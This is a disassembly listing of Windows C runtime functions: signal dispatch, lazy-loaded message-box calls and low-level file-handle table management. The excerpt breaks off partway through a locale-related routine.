sub_427350 proc near ; CODE XREF: sub_41AEA0+2E7p
; sub_42A8B0+Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
sub ecx, 2
mov [ebp+var_20], ecx
cmp [ebp+var_20], 14h
ja loc_42741E
mov eax, [ebp+var_20]
xor edx, edx
mov dl, byte_427572[eax]
jmp off_42755A[edx*4]
loc_427388: ; DATA XREF: ___:off_42755Ao
mov [ebp+var_18], offset dword_4DB2E0
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp loc_427426
; ---------------------------------------------------------------------------
loc_4273A5: ; CODE XREF: sub_427350+31j
; DATA XREF: ___:00427566o
mov [ebp+var_18], offset dword_4DB2E4
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_427426
; ---------------------------------------------------------------------------
loc_4273BF: ; CODE XREF: sub_427350+31j
; DATA XREF: ___:0042756Ao
mov [ebp+var_18], offset dword_4DB2E8
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_427426
; ---------------------------------------------------------------------------
loc_4273D9: ; CODE XREF: sub_427350+31j
; DATA XREF: ___:00427562o
mov [ebp+var_18], offset dword_4DB2EC
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_427426
; ---------------------------------------------------------------------------
loc_4273F3: ; CODE XREF: sub_427350+31j
; DATA XREF: ___:0042755Eo
call sub_41F970
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_427590
add esp, 8
add eax, 8
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
jmp short loc_427426
; ---------------------------------------------------------------------------
loc_42741E: ; CODE XREF: sub_427350+20j
; sub_427350+31j
; DATA XREF: ...
or eax, 0FFFFFFFFh
jmp loc_427556
; ---------------------------------------------------------------------------
loc_427426: ; CODE XREF: sub_427350+50j
; sub_427350+6Dj ...
cmp [ebp+var_C], 0
jz short loc_427436
push 1
call sub_41B780
add esp, 4
loc_427436: ; CODE XREF: sub_427350+DAj
cmp [ebp+var_1C], 1
jnz short loc_427453
cmp [ebp+var_C], 0
jz short loc_42744C
push 1
call sub_41B820
add esp, 4
loc_42744C: ; CODE XREF: sub_427350+F0j
xor eax, eax
jmp loc_427556
; ---------------------------------------------------------------------------
loc_427453: ; CODE XREF: sub_427350+EAj
cmp [ebp+var_1C], 0
jnz short loc_427470
cmp [ebp+var_C], 0
jz short loc_427469
push 1
call sub_41B820
add esp, 4
loc_427469: ; CODE XREF: sub_427350+10Dj
push 3
call sub_417960
loc_427470: ; CODE XREF: sub_427350+107j
cmp [ebp+arg_0], 8
jz short loc_427482
cmp [ebp+arg_0], 0Bh
jz short loc_427482
cmp [ebp+arg_0], 4
jnz short loc_4274AE
loc_427482: ; CODE XREF: sub_427350+124j
; sub_427350+12Aj
mov eax, [ebp+var_4]
mov ecx, [eax+54h]
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+54h], 0
cmp [ebp+arg_0], 8
jnz short loc_4274AE
mov eax, [ebp+var_4]
mov ecx, [eax+58h]
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+58h], 8Ch
loc_4274AE: ; CODE XREF: sub_427350+130j
; sub_427350+149j
cmp [ebp+arg_0], 8
jnz short loc_4274F0
mov eax, dword_444440
mov [ebp+var_10], eax
jmp short loc_4274C7
; ---------------------------------------------------------------------------
loc_4274BE: ; CODE XREF: sub_427350+19Cj
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_4274C7: ; CODE XREF: sub_427350+16Cj
mov edx, dword_444440
add edx, dword_444444
cmp [ebp+var_10], edx
jge short loc_4274EE
mov eax, [ebp+var_10]
imul eax, 0Ch
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_4274BE
; ---------------------------------------------------------------------------
loc_4274EE: ; CODE XREF: sub_427350+186j
jmp short loc_4274F9
; ---------------------------------------------------------------------------
loc_4274F0: ; CODE XREF: sub_427350+162j
mov eax, [ebp+var_18]
mov dword ptr [eax], 0
loc_4274F9: ; CODE XREF: sub_427350:loc_4274EEj
cmp [ebp+var_C], 0
jz short loc_427509
push 1
call sub_41B820
add esp, 4
loc_427509: ; CODE XREF: sub_427350+1ADj
cmp [ebp+arg_0], 8
jnz short loc_427520
mov ecx, [ebp+var_4]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_1C]
add esp, 8
jmp short loc_42752A
; ---------------------------------------------------------------------------
loc_427520: ; CODE XREF: sub_427350+1BDj
mov eax, [ebp+arg_0]
push eax
call [ebp+var_1C]
add esp, 4
loc_42752A: ; CODE XREF: sub_427350+1CEj
cmp [ebp+arg_0], 8
jz short loc_42753C
cmp [ebp+arg_0], 0Bh
jz short loc_42753C
cmp [ebp+arg_0], 4
jnz short loc_427554
loc_42753C: ; CODE XREF: sub_427350+1DEj
; sub_427350+1E4j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_14]
mov [ecx+54h], edx
cmp [ebp+arg_0], 8
jnz short loc_427554
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+58h], ecx
loc_427554: ; CODE XREF: sub_427350+1EAj
; sub_427350+1F9j
xor eax, eax
loc_427556: ; CODE XREF: sub_427350+D1j
; sub_427350+FEj
mov esp, ebp
pop ebp
retn
sub_427350 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
off_42755A dd offset loc_427388 ; DATA XREF: sub_427350+31r
dd offset loc_4273F3
dd offset loc_4273D9
dd offset loc_4273A5
dd offset loc_4273BF
dd offset loc_42741E
byte_427572 db 0 ; DATA XREF: sub_427350+2Br
db 5
dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427590 proc near ; CODE XREF: ___:00427210p
; sub_427350+B6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_42759A: ; CODE XREF: sub_427590+31j
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
cmp edx, [ebp+arg_0]
jz short loc_4275C3
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, dword_44444C
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_4275C3
jmp short loc_42759A
; ---------------------------------------------------------------------------
loc_4275C3: ; CODE XREF: sub_427590+13j
; sub_427590+2Fj
mov eax, dword_44444C
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_4275E5
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jnz short loc_4275E5
mov eax, [ebp+var_4]
jmp short loc_4275E7
; ---------------------------------------------------------------------------
loc_4275E5: ; CODE XREF: sub_427590+43j
; sub_427590+4Ej
xor eax, eax
loc_4275E7: ; CODE XREF: sub_427590+53j
mov esp, ebp
pop ebp
retn
sub_427590 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41F970
add eax, 58h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427600 proc near ; CODE XREF: ___:004298B9p
push ebp
mov ebp, esp
call sub_41F970
add eax, 54h
pop ebp
retn
sub_427600 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427610 proc near ; CODE XREF: sub_41AEA0+2CEp
; sub_426B80+1B0p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
cmp dword_4DB2F4, 0
jnz short loc_427683
push offset aUser32_dll_0 ; "user32.dll"
call near ptr 2690610h
nop
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_427657
push offset aMessageboxa ; "MessageBoxA"
mov eax, [ebp+var_8]
push eax
nop
call near ptr 26A0000h
mov dword_4DB2F4, eax
cmp dword_4DB2F4, 0
jnz short loc_42765B
loc_427657: ; CODE XREF: sub_427610+28j
xor eax, eax
jmp short loc_4276C7
; ---------------------------------------------------------------------------
loc_42765B: ; CODE XREF: sub_427610+45j
push offset aGetactivewindo ; "GetActiveWindow"
mov ecx, [ebp+var_8]
push ecx
nop
call near ptr 26A0000h
mov dword_4DB2F8, eax
push offset aGetlastactivep ; "GetLastActivePopup"
mov edx, [ebp+var_8]
push edx
call near ptr 26A0000h
nop
mov dword_4DB2FC, eax
loc_427683: ; CODE XREF: sub_427610+14j
cmp dword_4DB2F8, 0
jz short loc_427695
call dword_4DB2F8
mov [ebp+var_4], eax
loc_427695: ; CODE XREF: sub_427610+7Aj
cmp [ebp+var_4], 0
jz short loc_4276B1
cmp dword_4DB2FC, 0
jz short loc_4276B1
mov eax, [ebp+var_4]
push eax
call dword_4DB2FC
mov [ebp+var_4], eax
loc_4276B1: ; CODE XREF: sub_427610+89j
; sub_427610+92j
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_4DB2F4
loc_4276C7: ; CODE XREF: sub_427610+49j
mov esp, ebp
pop ebp
retn
sub_427610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4276D0 proc near ; CODE XREF: ___:loc_427B62p
; sub_428050:loc_4282E9p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov [ebp+var_8], 0FFFFFFFFh
push 12h
call sub_41B780
add esp, 4
mov [ebp+var_C], 0
jmp short loc_4276FA
; ---------------------------------------------------------------------------
loc_4276F1: ; CODE XREF: sub_4276D0:loc_42789Bj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_4276FA: ; CODE XREF: sub_4276D0+1Fj
cmp [ebp+var_C], 40h
jge loc_4278A0
mov ecx, [ebp+var_C]
cmp dword_4DB460[ecx*4], 0
jz loc_427806
mov edx, [ebp+var_C]
mov eax, dword_4DB460[edx*4]
mov [ebp+var_4], eax
jmp short loc_42772D
; ---------------------------------------------------------------------------
loc_427724: ; CODE XREF: sub_4276D0+F1j
; sub_4276D0:loc_4277F1j
mov ecx, [ebp+var_4]
add ecx, 24h
mov [ebp+var_4], ecx
loc_42772D: ; CODE XREF: sub_4276D0+52j
mov edx, [ebp+var_C]
mov eax, dword_4DB460[edx*4]
add eax, 480h
cmp [ebp+var_4], eax
jnb loc_4277F6
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jnz loc_4277F1
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_427799
push 11h
call sub_41B780
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_42778F
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
nop
call near ptr 28606DCh
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_42778F: ; CODE XREF: sub_4276D0+A1j
push 11h
call sub_41B820
add esp, 4
loc_427799: ; CODE XREF: sub_4276D0+8Ej
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call near ptr 77F7E21Fh
nop
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jz short loc_4277C6
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
nop
call near ptr 77F7E300h
jmp loc_427724
; ---------------------------------------------------------------------------
loc_4277C6: ; CODE XREF: sub_4276D0+E2j
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov ecx, [ebp+var_C]
shl ecx, 5
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
sub eax, dword_4DB460[edx*4]
cdq
mov esi, 24h
idiv esi
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_4277F6
; ---------------------------------------------------------------------------
loc_4277F1: ; CODE XREF: sub_4276D0+81j
jmp loc_427724
; ---------------------------------------------------------------------------
loc_4277F6: ; CODE XREF: sub_4276D0+6Fj
; sub_4276D0+11Fj
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_427801
jmp loc_4278A0
; ---------------------------------------------------------------------------
loc_427801: ; CODE XREF: sub_4276D0+12Aj
jmp loc_42789B
; ---------------------------------------------------------------------------
loc_427806: ; CODE XREF: sub_4276D0+3Fj
push 79h
push offset aOsfinfo_c ; "osfinfo.c"
push 2
push 480h
call sub_414DD0
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_427899
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dword_4DB460[eax*4], ecx
mov edx, dword_4DB560
add edx, 20h
mov dword_4DB560, edx
jmp short loc_42784C
; ---------------------------------------------------------------------------
loc_427843: ; CODE XREF: sub_4276D0+1B2j
mov eax, [ebp+var_4]
add eax, 24h
mov [ebp+var_4], eax
loc_42784C: ; CODE XREF: sub_4276D0+171j
mov ecx, [ebp+var_C]
mov edx, dword_4DB460[ecx*4]
add edx, 480h
cmp [ebp+var_4], edx
jnb short loc_427884
mov eax, [ebp+var_4]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_4]
mov dword ptr [eax+8], 0
jmp short loc_427843
; ---------------------------------------------------------------------------
loc_427884: ; CODE XREF: sub_4276D0+18Fj
mov ecx, [ebp+var_C]
shl ecx, 5
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
push edx
call sub_427BE0
add esp, 4
loc_427899: ; CODE XREF: sub_4276D0+153j
jmp short loc_4278A0
; ---------------------------------------------------------------------------
loc_42789B: ; CODE XREF: sub_4276D0:loc_427801j
jmp loc_4276F1
; ---------------------------------------------------------------------------
loc_4278A0: ; CODE XREF: sub_4276D0+2Ej
; sub_4276D0+12Cj ...
push 12h
call sub_41B820
add esp, 4
mov eax, [ebp+var_8]
pop esi
mov esp, ebp
pop ebp
retn
sub_4276D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4278C0 proc near ; CODE XREF: ___:00427B93p
; sub_428050+379p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DB560
jnb loc_42795A
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jnz short loc_42795A
cmp dword_443B84, 1
jnz short loc_42793A
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jz short loc_427912
cmp [ebp+var_4], 1
jz short loc_427920
cmp [ebp+var_4], 2
jz short loc_42792E
jmp short loc_42793A
; ---------------------------------------------------------------------------
loc_427912: ; CODE XREF: sub_4278C0+42j
mov edx, [ebp+arg_4]
push edx
push 0FFFFFFF6h
call near ptr 2660D18h
nop
jmp short loc_42793A
; ---------------------------------------------------------------------------
loc_427920: ; CODE XREF: sub_4278C0+48j
mov eax, [ebp+arg_4]
push eax
push 0FFFFFFF5h
nop
call near ptr 2660D18h
jmp short loc_42793A
; ---------------------------------------------------------------------------
loc_42792E: ; CODE XREF: sub_4278C0+4Ej
mov ecx, [ebp+arg_4]
push ecx
push 0FFFFFFF4h
nop
call near ptr 2660D18h
loc_42793A: ; CODE XREF: sub_4278C0+36j
; sub_4278C0+50j ...
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DB460[edx*4]
mov edx, [ebp+arg_4]
mov [ecx+eax], edx
xor eax, eax
jmp short loc_427973
; ---------------------------------------------------------------------------
loc_42795A: ; CODE XREF: sub_4278C0+Dj
; sub_4278C0+2Dj
call sub_420520
mov dword ptr [eax], 9
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_427973: ; CODE XREF: sub_4278C0+98j
mov esp, ebp
pop ebp
retn
sub_4278C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427980 proc near ; CODE XREF: sub_41B230+69p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DB560
jnb loc_427A3B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz loc_427A3B
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DB460[edx*4]
cmp dword ptr [ecx+eax], 0FFFFFFFFh
jz short loc_427A3B
cmp dword_443B84, 1
jnz short loc_427A1A
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jz short loc_4279F8
cmp [ebp+var_4], 1
jz short loc_427A04
cmp [ebp+var_4], 2
jz short loc_427A10
jmp short loc_427A1A
; ---------------------------------------------------------------------------
loc_4279F8: ; CODE XREF: sub_427980+68j
push 0
push 0FFFFFFF6h
nop
call near ptr 2660D18h
jmp short loc_427A1A
; ---------------------------------------------------------------------------
loc_427A04: ; CODE XREF: sub_427980+6Ej
push 0
push 0FFFFFFF5h
nop
call near ptr 2660D18h
jmp short loc_427A1A
; ---------------------------------------------------------------------------
loc_427A10: ; CODE XREF: sub_427980+74j
push 0
push 0FFFFFFF4h
nop
call near ptr 2660D18h
loc_427A1A: ; CODE XREF: sub_427980+5Cj
; sub_427980+76j ...
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov dword ptr [edx+ecx], 0FFFFFFFFh
xor eax, eax
jmp short loc_427A54
; ---------------------------------------------------------------------------
loc_427A3B: ; CODE XREF: sub_427980+Dj
; sub_427980+33j ...
call sub_420520
mov dword ptr [eax], 9
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_427A54: ; CODE XREF: sub_427980+B9j
mov esp, ebp
pop ebp
retn
sub_427980 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427A60 proc near ; CODE XREF: sub_41B230+9p
; sub_41B230+24p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, dword_4DB560
jnb short loc_427AAB
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz short loc_427AAB
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DB460[edx*4]
mov eax, [ecx+eax]
jmp short loc_427AC4
; ---------------------------------------------------------------------------
loc_427AAB: ; CODE XREF: sub_427A60+Cj
; sub_427A60+2Ej
call sub_420520
mov dword ptr [eax], 9
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_427AC4: ; CODE XREF: sub_427A60+49j
pop ebp
retn
sub_427A60 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov byte ptr [ebp-0Ch], 0
mov eax, [ebp+0Ch]
and eax, 8
test eax, eax
jz short loc_427AED
mov cl, [ebp-0Ch]
or cl, 20h
mov [ebp-0Ch], cl
loc_427AED: ; CODE XREF: ___:00427AE2j
mov edx, [ebp+0Ch]
and edx, 4000h
test edx, edx
jz short loc_427B02
mov al, [ebp-0Ch]
or al, 80h
mov [ebp-0Ch], al
loc_427B02: ; CODE XREF: ___:00427AF8j
mov ecx, [ebp+0Ch]
and ecx, 80h
test ecx, ecx
jz short loc_427B18
mov dl, [ebp-0Ch]
or dl, 10h
mov [ebp-0Ch], dl
loc_427B18: ; CODE XREF: ___:00427B0Dj
mov eax, [ebp+8]
push eax
nop
call near ptr 28C0000h
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz short loc_427B42
nop
call near ptr 26908EFh
push eax
call sub_420480
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_427BD0
; ---------------------------------------------------------------------------
loc_427B42: ; CODE XREF: ___:00427B29j
cmp dword ptr [ebp-4], 2
jnz short loc_427B53
mov cl, [ebp-0Ch]
or cl, 40h
mov [ebp-0Ch], cl
jmp short loc_427B62
; ---------------------------------------------------------------------------
loc_427B53: ; CODE XREF: ___:00427B46j
cmp dword ptr [ebp-4], 3
jnz short loc_427B62
mov dl, [ebp-0Ch]
or dl, 8
mov [ebp-0Ch], dl
loc_427B62: ; CODE XREF: ___:00427B51j
; ___:00427B57j
call sub_4276D0
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0FFFFFFFFh
jnz short loc_427B8B
call sub_420520
mov dword ptr [eax], 18h
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_427BD0
; ---------------------------------------------------------------------------
loc_427B8B: ; CODE XREF: ___:00427B6Ej
mov eax, [ebp+8]
push eax
mov ecx, [ebp-8]
push ecx
call sub_4278C0
add esp, 8
mov dl, [ebp-0Ch]
or dl, 1
mov [ebp-0Ch], dl
mov eax, [ebp-8]
sar eax, 5
mov ecx, [ebp-8]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov al, [ebp-0Ch]
mov [edx+ecx+4], al
mov ecx, [ebp-8]
push ecx
call sub_427C70
add esp, 4
mov eax, [ebp-8]
loc_427BD0: ; CODE XREF: ___:00427B3Dj
; ___:00427B89j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427BE0 proc near ; CODE XREF: sub_41B1B0+50p
; sub_41DD40+50p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_427C41
push 11h
call sub_41B780
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_427C37
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
nop
call near ptr 28606DCh
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_427C37: ; CODE XREF: sub_427BE0+39j
push 11h
call sub_41B820
add esp, 4
loc_427C41: ; CODE XREF: sub_427BE0+26j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call near ptr 77F7E21Fh
nop
mov esp, ebp
pop ebp
retn
sub_427BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427C70 proc near ; CODE XREF: sub_41B1B0+6Bp
; sub_41DD40+73p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call near ptr 77F7E300h
nop
pop ebp
retn
sub_427C70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427CA0 proc near ; CODE XREF: sub_41B3D0+2Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DB560
jnb short loc_427CD1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_427CE4
loc_427CD1: ; CODE XREF: sub_427CA0+Dj
call sub_420520
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_427D6E
; ---------------------------------------------------------------------------
loc_427CE4: ; CODE XREF: sub_427CA0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_427BE0
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 1
test eax, eax
jz short loc_427D4D
mov ecx, [ebp+arg_0]
push ecx
call sub_427A60
add esp, 4
push eax
nop
call near ptr 266080Ch
test eax, eax
jnz short loc_427D34
call near ptr 26908EFh
nop
mov [ebp+var_4], eax
jmp short loc_427D3B
; ---------------------------------------------------------------------------
loc_427D34: ; CODE XREF: sub_427CA0+87j
mov [ebp+var_4], 0
loc_427D3B: ; CODE XREF: sub_427CA0+92j
cmp [ebp+var_4], 0
jnz short loc_427D43
jmp short loc_427D5F
; ---------------------------------------------------------------------------
loc_427D43: ; CODE XREF: sub_427CA0+9Fj
call sub_420530
mov edx, [ebp+var_4]
mov [eax], edx
loc_427D4D: ; CODE XREF: sub_427CA0+70j
call sub_420520
mov dword ptr [eax], 9
mov [ebp+var_4], 0FFFFFFFFh
loc_427D5F: ; CODE XREF: sub_427CA0+A1j
mov eax, [ebp+arg_0]
push eax
call sub_427C70
add esp, 4
mov eax, [ebp+var_4]
loc_427D6E: ; CODE XREF: sub_427CA0+3Fj
mov esp, ebp
pop ebp
retn
sub_427CA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427D80 proc near ; CODE XREF: sub_41DA90+98p
; sub_41FFF0+ECp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4345B8
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DB300, 0
jnz short loc_427DFE
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_434260
push 1
nop
call near ptr 2650000h
test eax, eax
jz short loc_427DD2
mov dword_4DB300, 1
jmp short loc_427DFE
; ---------------------------------------------------------------------------
loc_427DD2: ; CODE XREF: sub_427D80+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_43425C
push 1
push 0
nop
call near ptr 2660000h
test eax, eax
jz short loc_427DF7
mov dword_4DB300, 2
jmp short loc_427DFE
; ---------------------------------------------------------------------------
loc_427DF7: ; CODE XREF: sub_427D80+69j
xor eax, eax
jmp loc_427F28
; ---------------------------------------------------------------------------
loc_427DFE: ; CODE XREF: sub_427D80+2Dj
; sub_427D80+50j ...
cmp dword_4DB300, 2
jnz short loc_427E35
cmp [ebp+arg_14], 0
jnz short loc_427E16
mov edx, dword_4DB1B8
mov [ebp+arg_14], edx
loc_427E16: ; CODE XREF: sub_427D80+8Bj
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_14]
push ecx
nop
call near ptr 2660000h
jmp loc_427F28
; ---------------------------------------------------------------------------
loc_427E35: ; CODE XREF: sub_427D80+85j
cmp dword_4DB300, 1
